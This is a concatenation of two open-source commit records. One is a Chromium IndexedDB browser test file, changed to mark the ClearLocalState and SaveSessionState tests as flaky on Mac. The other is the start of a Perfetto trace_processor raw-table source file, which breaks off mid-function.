WebSecurityOrigin->SecurityOrigin.\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, ClearSessionOnlyDatabases) {\n  ScopedTempDir temp_dir;\n  ASSERT_TRUE(temp_dir.CreateUniqueTempDir());\n\n  FilePath normal_path;\n  FilePath session_only_path;\n\n  \/\/ Create the scope which will ensure we run the destructor of the webkit\n  \/\/ context which should trigger the clean up.\n  {\n    TestingProfile profile;\n\n    const GURL kNormalOrigin(\"http:\/\/normal\/\");\n    const GURL kSessionOnlyOrigin(\"http:\/\/session-only\/\");\n    scoped_refptr<quota::MockSpecialStoragePolicy> special_storage_policy =\n        new quota::MockSpecialStoragePolicy;\n    special_storage_policy->AddSessionOnly(kSessionOnlyOrigin);\n\n    \/\/ Create some indexedDB paths.\n    \/\/ With the levelDB backend, these are directories.\n    WebKitContext* webkit_context = BrowserContext::GetWebKitContext(&profile);\n    IndexedDBContext* idb_context = webkit_context->indexed_db_context();\n\n    \/\/ Override the storage policy with our own.\n    idb_context->special_storage_policy_ = special_storage_policy;\n    idb_context->set_data_path_for_testing(temp_dir.path());\n\n    normal_path = idb_context->GetIndexedDBFilePath(\n        DatabaseUtil::GetOriginIdentifier(kNormalOrigin));\n    session_only_path = idb_context->GetIndexedDBFilePath(\n        DatabaseUtil::GetOriginIdentifier(kSessionOnlyOrigin));\n    ASSERT_TRUE(file_util::CreateDirectory(normal_path));\n    ASSERT_TRUE(file_util::CreateDirectory(session_only_path));\n  }\n\n  scoped_refptr<base::ThreadTestHelper> helper_io(\n      new base::ThreadTestHelper(\n          BrowserThread::GetMessageLoopProxyForThread(BrowserThread::IO)));\n  ASSERT_TRUE(helper_io->Run());\n  scoped_refptr<base::ThreadTestHelper> helper_webkit(\n      new base::ThreadTestHelper(\n          BrowserThread::GetMessageLoopProxyForThread(\n              BrowserThread::WEBKIT_DEPRECATED)));\n  ASSERT_TRUE(helper_webkit->Run());\n\n  EXPECT_TRUE(file_util::DirectoryExists(normal_path));\n  EXPECT_FALSE(file_util::DirectoryExists(session_only_path));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, SaveSessionState) {\n  ScopedTempDir temp_dir;\n  ASSERT_TRUE(temp_dir.CreateUniqueTempDir());\n\n  FilePath normal_path;\n  FilePath session_only_path;\n\n  \/\/ Create the scope which will ensure we run the destructor of the webkit\n  \/\/ context.\n  {\n    TestingProfile profile;\n\n    const GURL kNormalOrigin(\"http:\/\/normal\/\");\n    const GURL kSessionOnlyOrigin(\"http:\/\/session-only\/\");\n    scoped_refptr<quota::MockSpecialStoragePolicy> special_storage_policy =\n        new quota::MockSpecialStoragePolicy;\n    special_storage_policy->AddSessionOnly(kSessionOnlyOrigin);\n\n    \/\/ Create some indexedDB paths.\n    \/\/ With the levelDB backend, these are directories.\n    WebKitContext* webkit_context = BrowserContext::GetWebKitContext(&profile);\n    IndexedDBContext* idb_context = webkit_context->indexed_db_context();\n\n    \/\/ Override the storage policy with our own.\n    idb_context->special_storage_policy_ = special_storage_policy;\n    idb_context->set_clear_local_state_on_exit(true);\n    idb_context->set_data_path_for_testing(temp_dir.path());\n\n    \/\/ Save session state. This should bypass the destruction-time deletion.\n    idb_context->SaveSessionState();\n\n    normal_path = idb_context->GetIndexedDBFilePath(\n        DatabaseUtil::GetOriginIdentifier(kNormalOrigin));\n    session_only_path = idb_context->GetIndexedDBFilePath(\n        DatabaseUtil::GetOriginIdentifier(kSessionOnlyOrigin));\n    ASSERT_TRUE(file_util::CreateDirectory(normal_path));\n    ASSERT_TRUE(file_util::CreateDirectory(session_only_path));\n  }\n\n  \/\/ Make sure we wait until the destructor has run.\n  scoped_refptr<base::ThreadTestHelper> helper(\n      new base::ThreadTestHelper(\n          BrowserThread::GetMessageLoopProxyForThread(\n              BrowserThread::WEBKIT_DEPRECATED)));\n  ASSERT_TRUE(helper->Run());\n\n  \/\/ No data was cleared because of SaveSessionState.\n  EXPECT_TRUE(file_util::DirectoryExists(normal_path));\n  EXPECT_TRUE(file_util::DirectoryExists(session_only_path));\n}\n\nclass IndexedDBBrowserTestWithLowQuota : public IndexedDBBrowserTest {\n public:\n  virtual void SetUpOnMainThread() {\n    const int kInitialQuotaKilobytes = 5000;\n    const int kTemporaryStorageQuotaMaxSize = kInitialQuotaKilobytes\n        * 1024 * QuotaManager::kPerHostTemporaryPortion;\n    SetTempQuota(\n        kTemporaryStorageQuotaMaxSize,\n        content::BrowserContext::GetQuotaManager(browser()->profile()));\n  }\n\n  static void SetTempQuota(int64 bytes, scoped_refptr<QuotaManager> qm) {\n    if (!BrowserThread::CurrentlyOn(BrowserThread::IO)) {\n      BrowserThread::PostTask(\n          BrowserThread::IO, FROM_HERE,\n          base::Bind(&IndexedDBBrowserTestWithLowQuota::SetTempQuota, bytes,\n                     qm));\n      return;\n    }\n    DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n    qm->SetTemporaryGlobalOverrideQuota(bytes, quota::QuotaCallback());\n    \/\/ Don't return until the quota has been set.\n    scoped_refptr<base::ThreadTestHelper> helper(\n        new base::ThreadTestHelper(\n            BrowserThread::GetMessageLoopProxyForThread(BrowserThread::DB)));\n    ASSERT_TRUE(helper->Run());\n  }\n\n};\n\n\/\/ No longer testable with file: URL: http:\/\/crbug.com\/104748\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTestWithLowQuota, DISABLED_QuotaTest) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"quota_test.html\"))));\n}\n\nclass IndexedDBBrowserTestWithGCExposed : public IndexedDBBrowserTest {\n public:\n  virtual void SetUpCommandLine(CommandLine* command_line) {\n    command_line->AppendSwitchASCII(switches::kJavaScriptFlags, \"--expose-gc\");\n  }\n};\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTestWithGCExposed,\n                       DatabaseCallbacksTest) {\n  SimpleTest(\n      testUrl(FilePath(FILE_PATH_LITERAL(\"database_callbacks_first.html\"))));\n}\n<commit_msg>Mark IndexedDBBrowserTest.ClearLocalState and IndexedDBBrowserTest.SaveSessionState as flaky.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/bind.h\"\n#include \"base\/command_line.h\"\n#include \"base\/file_path.h\"\n#include \"base\/file_util.h\"\n#include \"base\/memory\/ref_counted.h\"\n#include \"base\/scoped_temp_dir.h\"\n#include \"base\/test\/thread_test_helper.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/test\/base\/in_process_browser_test.h\"\n#include \"chrome\/test\/base\/testing_profile.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"content\/browser\/in_process_webkit\/indexed_db_context.h\"\n#include \"content\/browser\/in_process_webkit\/webkit_context.h\"\n#include \"content\/browser\/tab_contents\/tab_contents.h\"\n#include \"content\/public\/common\/content_switches.h\"\n#include \"webkit\/database\/database_util.h\"\n#include \"webkit\/quota\/mock_special_storage_policy.h\"\n#include \"webkit\/quota\/quota_manager.h\"\n#include \"webkit\/quota\/special_storage_policy.h\"\n\nusing content::BrowserContext;\nusing content::BrowserThread;\nusing quota::QuotaManager;\nusing webkit_database::DatabaseUtil;\n\n\/\/ This browser test is aimed towards exercising the IndexedDB bindings and\n\/\/ the actual implementation that lives in the browser side (in_process_webkit).\nclass IndexedDBBrowserTest : public InProcessBrowserTest {\n public:\n  IndexedDBBrowserTest() {\n    EnableDOMAutomation();\n  }\n\n  GURL testUrl(const FilePath& file_path) {\n    const FilePath kTestDir(FILE_PATH_LITERAL(\"indexeddb\"));\n    return ui_test_utils::GetTestUrl(kTestDir, file_path);\n  }\n\n  void SimpleTest(const GURL& test_url, bool incognito = false) {\n    \/\/ The test page will perform tests on IndexedDB, then navigate to either\n    \/\/ a #pass or #fail ref.\n    Browser* the_browser = incognito ? CreateIncognitoBrowser() : browser();\n\n    LOG(INFO) << \"Navigating to URL and blocking.\";\n    ui_test_utils::NavigateToURLBlockUntilNavigationsComplete(\n        the_browser, test_url, 2);\n    LOG(INFO) << \"Navigation done.\";\n    std::string result = the_browser->GetSelectedWebContents()->GetURL().ref();\n    if (result != \"pass\") {\n      std::string js_result;\n      ASSERT_TRUE(ui_test_utils::ExecuteJavaScriptAndExtractString(\n          the_browser->GetSelectedWebContents()->GetRenderViewHost(), L\"\",\n          L\"window.domAutomationController.send(getLog())\", &js_result));\n      FAIL() << \"Failed: \" << js_result;\n    }\n  }\n};\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, CursorTest) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"cursor_test.html\"))));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, CursorTestIncognito) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"cursor_test.html\"))),\n             true \/* incognito *\/);\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, CursorPrefetch) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"cursor_prefetch.html\"))));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, IndexTest) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"index_test.html\"))));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, KeyPathTest) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"key_path_test.html\"))));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, TransactionGetTest) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"transaction_get_test.html\"))));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, KeyTypesTest) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"key_types_test.html\"))));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, ObjectStoreTest) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"object_store_test.html\"))));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, DatabaseTest) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"database_test.html\"))));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, TransactionTest) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"transaction_test.html\"))));\n}\n\n\/\/ Flaky: http:\/\/crbug.com\/70773\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, DISABLED_DoesntHangTest) {\n  SimpleTest(testUrl(FilePath(\n      FILE_PATH_LITERAL(\"transaction_run_forever.html\"))));\n  ui_test_utils::CrashTab(browser()->GetSelectedWebContents());\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"transaction_test.html\"))));\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, Bug84933Test) {\n  const GURL url = testUrl(FilePath(FILE_PATH_LITERAL(\"bug_84933.html\")));\n\n  \/\/ Just navigate to the URL. Test will crash if it fails.\n  ui_test_utils::NavigateToURLBlockUntilNavigationsComplete(browser(), url, 1);\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, Bug106883Test) {\n  const GURL url = testUrl(FilePath(FILE_PATH_LITERAL(\"bug_106883.html\")));\n\n  \/\/ Just navigate to the URL. Test will crash if it fails.\n  ui_test_utils::NavigateToURLBlockUntilNavigationsComplete(browser(), url, 1);\n}\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, Bug109187Test) {\n  const GURL url = testUrl(FilePath(FILE_PATH_LITERAL(\"bug_109187.html\")));\n\n  \/\/ Just navigate to the URL. Test will crash if it fails.\n  ui_test_utils::NavigateToURLBlockUntilNavigationsComplete(browser(), url, 1);\n}\n\n#if defined(OS_MACOSX)\n\/\/ http:\/\/crbug.com\/115188. On Mac, failure rate is about 18% currently.\n#define MAYBE_ClearLocalState DISABLED_ClearLocalState\n#else\n#define MAYBE_ClearLocalState ClearLocalState\n#endif\n\n\/\/ In proc browser test is needed here because ClearLocalState indirectly calls\n\/\/ WebKit's isMainThread through WebSecurityOrigin->SecurityOrigin.\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, MAYBE_ClearLocalState) {\n  ScopedTempDir temp_dir;\n  ASSERT_TRUE(temp_dir.CreateUniqueTempDir());\n\n  FilePath protected_path;\n  FilePath unprotected_path;\n\n  \/\/ Create the scope which will ensure we run the destructor of the webkit\n  \/\/ context which should trigger the clean up.\n  {\n    TestingProfile profile;\n\n    \/\/ Test our assumptions about what is protected and what is not.\n    const GURL kProtectedOrigin(\"chrome-extension:\/\/foo\/\");\n    const GURL kUnprotectedOrigin(\"http:\/\/foo\/\");\n    quota::SpecialStoragePolicy* policy = profile.GetSpecialStoragePolicy();\n    ASSERT_TRUE(policy->IsStorageProtected(kProtectedOrigin));\n    ASSERT_FALSE(policy->IsStorageProtected(kUnprotectedOrigin));\n\n    \/\/ Create some indexedDB paths.\n    \/\/ With the levelDB backend, these are directories.\n    WebKitContext* webkit_context = BrowserContext::GetWebKitContext(&profile);\n    IndexedDBContext* idb_context = webkit_context->indexed_db_context();\n    idb_context->set_data_path_for_testing(temp_dir.path());\n    protected_path = idb_context->GetIndexedDBFilePath(\n        DatabaseUtil::GetOriginIdentifier(kProtectedOrigin));\n    unprotected_path = idb_context->GetIndexedDBFilePath(\n        DatabaseUtil::GetOriginIdentifier(kUnprotectedOrigin));\n    ASSERT_TRUE(file_util::CreateDirectory(protected_path));\n    ASSERT_TRUE(file_util::CreateDirectory(unprotected_path));\n\n    \/\/ Setup to clear all unprotected origins on exit.\n    webkit_context->set_clear_local_state_on_exit(true);\n  }\n\n  \/\/ Make sure we wait until the destructor has run.\n  scoped_refptr<base::ThreadTestHelper> helper_io(\n      new base::ThreadTestHelper(\n          BrowserThread::GetMessageLoopProxyForThread(BrowserThread::IO)));\n  ASSERT_TRUE(helper_io->Run());\n  scoped_refptr<base::ThreadTestHelper> helper_webkit(\n      new base::ThreadTestHelper(\n          BrowserThread::GetMessageLoopProxyForThread(\n              BrowserThread::WEBKIT_DEPRECATED)));\n  ASSERT_TRUE(helper_webkit->Run());\n\n  ASSERT_TRUE(file_util::DirectoryExists(protected_path));\n  ASSERT_FALSE(file_util::DirectoryExists(unprotected_path));\n}\n\n\/\/ In proc browser test is needed here because ClearLocalState indirectly calls\n\/\/ WebKit's isMainThread through WebSecurityOrigin->SecurityOrigin.\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, ClearSessionOnlyDatabases) {\n  ScopedTempDir temp_dir;\n  ASSERT_TRUE(temp_dir.CreateUniqueTempDir());\n\n  FilePath normal_path;\n  FilePath session_only_path;\n\n  \/\/ Create the scope which will ensure we run the destructor of the webkit\n  \/\/ context which should trigger the clean up.\n  {\n    TestingProfile profile;\n\n    const GURL kNormalOrigin(\"http:\/\/normal\/\");\n    const GURL kSessionOnlyOrigin(\"http:\/\/session-only\/\");\n    scoped_refptr<quota::MockSpecialStoragePolicy> special_storage_policy =\n        new quota::MockSpecialStoragePolicy;\n    special_storage_policy->AddSessionOnly(kSessionOnlyOrigin);\n\n    \/\/ Create some indexedDB paths.\n    \/\/ With the levelDB backend, these are directories.\n    WebKitContext* webkit_context = BrowserContext::GetWebKitContext(&profile);\n    IndexedDBContext* idb_context = webkit_context->indexed_db_context();\n\n    \/\/ Override the storage policy with our own.\n    idb_context->special_storage_policy_ = special_storage_policy;\n    idb_context->set_data_path_for_testing(temp_dir.path());\n\n    normal_path = idb_context->GetIndexedDBFilePath(\n        DatabaseUtil::GetOriginIdentifier(kNormalOrigin));\n    session_only_path = idb_context->GetIndexedDBFilePath(\n        DatabaseUtil::GetOriginIdentifier(kSessionOnlyOrigin));\n    ASSERT_TRUE(file_util::CreateDirectory(normal_path));\n    ASSERT_TRUE(file_util::CreateDirectory(session_only_path));\n  }\n\n  scoped_refptr<base::ThreadTestHelper> helper_io(\n      new base::ThreadTestHelper(\n          BrowserThread::GetMessageLoopProxyForThread(BrowserThread::IO)));\n  ASSERT_TRUE(helper_io->Run());\n  scoped_refptr<base::ThreadTestHelper> helper_webkit(\n      new base::ThreadTestHelper(\n          BrowserThread::GetMessageLoopProxyForThread(\n              BrowserThread::WEBKIT_DEPRECATED)));\n  ASSERT_TRUE(helper_webkit->Run());\n\n  EXPECT_TRUE(file_util::DirectoryExists(normal_path));\n  EXPECT_FALSE(file_util::DirectoryExists(session_only_path));\n}\n\n#if defined(OS_MACOSX)\n\/\/ http:\/\/crbug.com\/115188. On Mac, failure rate is about 18% currently.\n#define MAYBE_SaveSessionState DISABLED_SaveSessionState\n#else\n#define MAYBE_SaveSessionState SaveSessionState\n#endif\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTest, MAYBE_SaveSessionState) {\n  ScopedTempDir temp_dir;\n  ASSERT_TRUE(temp_dir.CreateUniqueTempDir());\n\n  FilePath normal_path;\n  FilePath session_only_path;\n\n  \/\/ Create the scope which will ensure we run the destructor of the webkit\n  \/\/ context.\n  {\n    TestingProfile profile;\n\n    const GURL kNormalOrigin(\"http:\/\/normal\/\");\n    const GURL kSessionOnlyOrigin(\"http:\/\/session-only\/\");\n    scoped_refptr<quota::MockSpecialStoragePolicy> special_storage_policy =\n        new quota::MockSpecialStoragePolicy;\n    special_storage_policy->AddSessionOnly(kSessionOnlyOrigin);\n\n    \/\/ Create some indexedDB paths.\n    \/\/ With the levelDB backend, these are directories.\n    WebKitContext* webkit_context = BrowserContext::GetWebKitContext(&profile);\n    IndexedDBContext* idb_context = webkit_context->indexed_db_context();\n\n    \/\/ Override the storage policy with our own.\n    idb_context->special_storage_policy_ = special_storage_policy;\n    idb_context->set_clear_local_state_on_exit(true);\n    idb_context->set_data_path_for_testing(temp_dir.path());\n\n    \/\/ Save session state. This should bypass the destruction-time deletion.\n    idb_context->SaveSessionState();\n\n    normal_path = idb_context->GetIndexedDBFilePath(\n        DatabaseUtil::GetOriginIdentifier(kNormalOrigin));\n    session_only_path = idb_context->GetIndexedDBFilePath(\n        DatabaseUtil::GetOriginIdentifier(kSessionOnlyOrigin));\n    ASSERT_TRUE(file_util::CreateDirectory(normal_path));\n    ASSERT_TRUE(file_util::CreateDirectory(session_only_path));\n  }\n\n  \/\/ Make sure we wait until the destructor has run.\n  scoped_refptr<base::ThreadTestHelper> helper(\n      new base::ThreadTestHelper(\n          BrowserThread::GetMessageLoopProxyForThread(\n              BrowserThread::WEBKIT_DEPRECATED)));\n  ASSERT_TRUE(helper->Run());\n\n  \/\/ No data was cleared because of SaveSessionState.\n  EXPECT_TRUE(file_util::DirectoryExists(normal_path));\n  EXPECT_TRUE(file_util::DirectoryExists(session_only_path));\n}\n\nclass IndexedDBBrowserTestWithLowQuota : public IndexedDBBrowserTest {\n public:\n  virtual void SetUpOnMainThread() {\n    const int kInitialQuotaKilobytes = 5000;\n    const int kTemporaryStorageQuotaMaxSize = kInitialQuotaKilobytes\n        * 1024 * QuotaManager::kPerHostTemporaryPortion;\n    SetTempQuota(\n        kTemporaryStorageQuotaMaxSize,\n        content::BrowserContext::GetQuotaManager(browser()->profile()));\n  }\n\n  static void SetTempQuota(int64 bytes, scoped_refptr<QuotaManager> qm) {\n    if (!BrowserThread::CurrentlyOn(BrowserThread::IO)) {\n      BrowserThread::PostTask(\n          BrowserThread::IO, FROM_HERE,\n          base::Bind(&IndexedDBBrowserTestWithLowQuota::SetTempQuota, bytes,\n                     qm));\n      return;\n    }\n    DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n    qm->SetTemporaryGlobalOverrideQuota(bytes, quota::QuotaCallback());\n    \/\/ Don't return until the quota has been set.\n    scoped_refptr<base::ThreadTestHelper> helper(\n        new base::ThreadTestHelper(\n            BrowserThread::GetMessageLoopProxyForThread(BrowserThread::DB)));\n    ASSERT_TRUE(helper->Run());\n  }\n\n};\n\n\/\/ No longer testable with file: URL: http:\/\/crbug.com\/104748\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTestWithLowQuota, DISABLED_QuotaTest) {\n  SimpleTest(testUrl(FilePath(FILE_PATH_LITERAL(\"quota_test.html\"))));\n}\n\nclass IndexedDBBrowserTestWithGCExposed : public IndexedDBBrowserTest {\n public:\n  virtual void SetUpCommandLine(CommandLine* command_line) {\n    command_line->AppendSwitchASCII(switches::kJavaScriptFlags, \"--expose-gc\");\n  }\n};\n\nIN_PROC_BROWSER_TEST_F(IndexedDBBrowserTestWithGCExposed,\n                       DatabaseCallbacksTest) {\n  SimpleTest(\n      testUrl(FilePath(FILE_PATH_LITERAL(\"database_callbacks_first.html\"))));\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2019 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"src\/trace_processor\/raw_table.h\"\n\n#include <inttypes.h>\n\n#include \"src\/trace_processor\/ftrace_descriptors.h\"\n#include \"src\/trace_processor\/sqlite_utils.h\"\n#include \"src\/trace_processor\/variadic.h\"\n\n#include \"perfetto\/trace\/ftrace\/binder.pbzero.h\"\n#include \"perfetto\/trace\/ftrace\/clk.pbzero.h\"\n#include \"perfetto\/trace\/ftrace\/ftrace.pbzero.h\"\n#include \"perfetto\/trace\/ftrace\/ftrace_event.pbzero.h\"\n#include \"perfetto\/trace\/ftrace\/sched.pbzero.h\"\n\nnamespace perfetto {\nnamespace trace_processor {\n\nRawTable::RawTable(sqlite3* db, const TraceStorage* storage)\n    : storage_(storage) {\n  auto fn = [](sqlite3_context* ctx, int argc, sqlite3_value** argv) {\n    auto* thiz = static_cast<RawTable*>(sqlite3_user_data(ctx));\n    thiz->ToSystrace(ctx, argc, argv);\n  };\n  sqlite3_create_function(db, \"to_ftrace\", 1,\n                          SQLITE_UTF8 | SQLITE_DETERMINISTIC, this, fn, nullptr,\n                          nullptr);\n}\n\nvoid RawTable::RegisterTable(sqlite3* db, const TraceStorage* storage) {\n  Table::Register<RawTable>(db, storage, \"raw\");\n}\n\nStorageSchema RawTable::CreateStorageSchema() {\n  const auto& raw = storage_->raw_events();\n  return StorageSchema::Builder()\n      .AddGenericNumericColumn(\"id\", RowIdAccessor(TableId::kRawEvents))\n      .AddOrderedNumericColumn(\"ts\", &raw.timestamps())\n      .AddStringColumn(\"name\", &raw.name_ids(), &storage_->string_pool())\n      .AddNumericColumn(\"cpu\", &raw.cpus())\n      .AddNumericColumn(\"utid\", &raw.utids())\n      .AddNumericColumn(\"arg_set_id\", &raw.arg_set_ids())\n      .Build({\"name\", \"ts\"});\n}\n\nuint32_t RawTable::RowCount() {\n  return static_cast<uint32_t>(storage_->raw_events().raw_event_count());\n}\n\nint RawTable::BestIndex(const QueryConstraints& qc, BestIndexInfo* info) {\n  info->estimated_cost = RowCount();\n\n  \/\/ Only the string columns are handled by SQLite\n  info->order_by_consumed = true;\n  size_t name_index = schema().ColumnIndexFromName(\"name\");\n  for (size_t i = 0; i < qc.constraints().size(); i++) {\n    info->omit[i] = qc.constraints()[i].iColumn != static_cast<int>(name_index);\n  }\n\n  return SQLITE_OK;\n}\n\nvoid RawTable::FormatSystraceArgs(NullTermStringView event_name,\n                                  ArgSetId arg_set_id,\n                                  base::StringWriter* writer) {\n  const auto& set_ids = storage_->args().set_ids();\n  auto lb = std::lower_bound(set_ids.begin(), set_ids.end(), arg_set_id);\n  auto ub = std::find(lb, set_ids.end(), arg_set_id + 1);\n\n  auto start_row = static_cast<uint32_t>(std::distance(set_ids.begin(), lb));\n\n  using ValueWriter = std::function<void(const Variadic&)>;\n  auto write_value = [this, writer](const Variadic& value) {\n    switch (value.type) {\n      case Variadic::kInt:\n        writer->AppendInt(value.int_value);\n        break;\n      case Variadic::kUint:\n        writer->AppendUnsignedInt(value.uint_value);\n        break;\n      case Variadic::kString: {\n        const auto& str = storage_->GetString(value.string_value);\n        writer->AppendString(str.c_str(), str.size());\n        break;\n      }\n      case Variadic::kReal:\n        writer->AppendDouble(value.real_value);\n        break;\n      case Variadic::kPointer:\n        writer->AppendUnsignedInt(value.pointer_value);\n        break;\n      case Variadic::kBool:\n        writer->AppendBool(value.bool_value);\n        break;\n      case Variadic::kJson: {\n        const auto& str = storage_->GetString(value.json_value);\n        writer->AppendString(str.c_str(), str.size());\n        break;\n      }\n    }\n  };\n  auto write_value_at_index = [this, start_row](uint32_t arg_idx,\n                                                ValueWriter value_fn) {\n    value_fn(storage_->args().arg_values()[start_row + arg_idx]);\n  };\n  auto write_arg = [this, writer, start_row](uint32_t arg_idx,\n                                             ValueWriter value_fn) {\n    uint32_t arg_row = start_row + arg_idx;\n    const auto& args = storage_->args();\n    const auto& key = storage_->GetString(args.keys()[arg_row]);\n    const auto& value = args.arg_values()[arg_row];\n\n    writer->AppendChar(' ');\n    writer->AppendString(key.c_str(), key.size());\n    writer->AppendChar('=');\n    value_fn(value);\n  };\n\n  if (event_name == \"sched_switch\") {\n    using SS = protos::pbzero::SchedSwitchFtraceEvent;\n    write_arg(SS::kPrevCommFieldNumber - 1, write_value);\n    write_arg(SS::kPrevPidFieldNumber - 1, write_value);\n    write_arg(SS::kPrevPrioFieldNumber - 1, write_value);\n    write_arg(SS::kPrevStateFieldNumber - 1, [writer](const Variadic& value) {\n      auto state = static_cast<uint16_t>(value.int_value);\n      writer->AppendString(ftrace_utils::TaskState(state).ToString().data());\n    });\n    writer->AppendLiteral(\" ==>\");\n    write_arg(SS::kNextCommFieldNumber - 1, write_value);\n    write_arg(SS::kNextPidFieldNumber - 1, write_value);\n    write_arg(SS::kNextPrioFieldNumber - 1, write_value);\n    return;\n  } else if (event_name == \"sched_wakeup\") {\n    using SW = protos::pbzero::SchedWakeupFtraceEvent;\n    write_arg(SW::kCommFieldNumber - 1, write_value);\n    write_arg(SW::kPidFieldNumber - 1, write_value);\n    write_arg(SW::kPrioFieldNumber - 1, write_value);\n    write_arg(SW::kTargetCpuFieldNumber - 1, [writer](const Variadic& value) {\n      writer->AppendPaddedInt<'0', 3>(value.int_value);\n    });\n    return;\n  } else if (event_name == \"clock_set_rate\") {\n    \/\/ TODO(lalitm): this is a big hack but the best way to do this now.\n    \/\/ Doing this requires overhauling how we deal with args by pushing them all\n    \/\/ to an array and then reading back from that array.\n\n    \/\/ We use the string \"todo\" as the name to stay consistent with old\n    \/\/ trace_to_text print code.\n    writer->AppendString(\" todo\");\n    write_arg(0 \/* state *\/, write_value);\n    write_arg(1 \/* cpu_id *\/, write_value);\n    return;\n  } else if (event_name == \"clk_set_rate\") {\n    using CSR = protos::pbzero::ClkSetRateFtraceEvent;\n    writer->AppendLiteral(\" \");\n    write_value_at_index(CSR::kNameFieldNumber - 1, write_value);\n    writer->AppendLiteral(\" \");\n    write_value_at_index(CSR::kRateFieldNumber - 1, write_value);\n    return;\n  } else if (event_name == \"binder_transaction\") {\n    using BT = protos::pbzero::BinderTransactionFtraceEvent;\n    writer->AppendString(\" transaction=\");\n    write_value_at_index(BT::kDebugIdFieldNumber - 1, write_value);\n    writer->AppendString(\" dest_node=\");\n    write_value_at_index(BT::kTargetNodeFieldNumber - 1, write_value);\n    writer->AppendString(\" dest_proc=\");\n    write_value_at_index(BT::kToProcFieldNumber - 1, write_value);\n    writer->AppendString(\" dest_thread=\");\n    write_value_at_index(BT::kToThreadFieldNumber - 1, write_value);\n    write_arg(BT::kReplyFieldNumber - 1, write_value);\n    writer->AppendString(\" flags=0x\");\n    write_value_at_index(\n        BT::kFlagsFieldNumber - 1, [writer](const Variadic& value) {\n          writer->AppendHexInt(static_cast<uint32_t>(value.int_value));\n        });\n    writer->AppendString(\" code=0x\");\n    write_value_at_index(\n        BT::kCodeFieldNumber - 1, [writer](const Variadic& value) {\n          writer->AppendHexInt(static_cast<uint32_t>(value.int_value));\n        });\n    return;\n  } else if (event_name == \"binder_transaction_alloc_buf\") {\n    using BTAB = protos::pbzero::BinderTransactionAllocBufFtraceEvent;\n    writer->AppendString(\" transaction=\");\n    write_value_at_index(BTAB::kDebugIdFieldNumber - 1, write_value);\n    write_arg(BTAB::kDataSizeFieldNumber - 1, write_value);\n    write_arg(BTAB::kOffsetsSizeFieldNumber - 1, write_value);\n    return;\n  } else if (event_name == \"binder_transaction_received\") {\n    using BTR = protos::pbzero::BinderTransactionReceivedFtraceEvent;\n    writer->AppendString(\" transaction=\");\n    write_value_at_index(BTR::kDebugIdFieldNumber - 1, write_value);\n    return;\n  } else if (event_name == \"print\") {\n    using P = protos::pbzero::PrintFtraceEvent;\n\n    uint32_t arg_row = start_row + P::kBufFieldNumber - 1;\n    const auto& args = storage_->args();\n    const auto& value = args.arg_values()[arg_row];\n    const auto& str = storage_->GetString(value.string_value);\n    \/\/ If the last character is a newline in a print, just drop it.\n    auto chars_to_print = !str.empty() && str.c_str()[str.size() - 1] == '\\n'\n                              ? str.size() - 1\n                              : str.size();\n    writer->AppendChar(' ');\n    writer->AppendString(str.c_str(), chars_to_print);\n    return;\n  }\n\n  uint32_t arg = 0;\n  for (auto it = lb; it != ub; it++) {\n    write_arg(arg++, write_value);\n  }\n}\n\nvoid RawTable::ToSystrace(sqlite3_context* ctx,\n                          int argc,\n                          sqlite3_value** argv) {\n  if (argc != 1 || 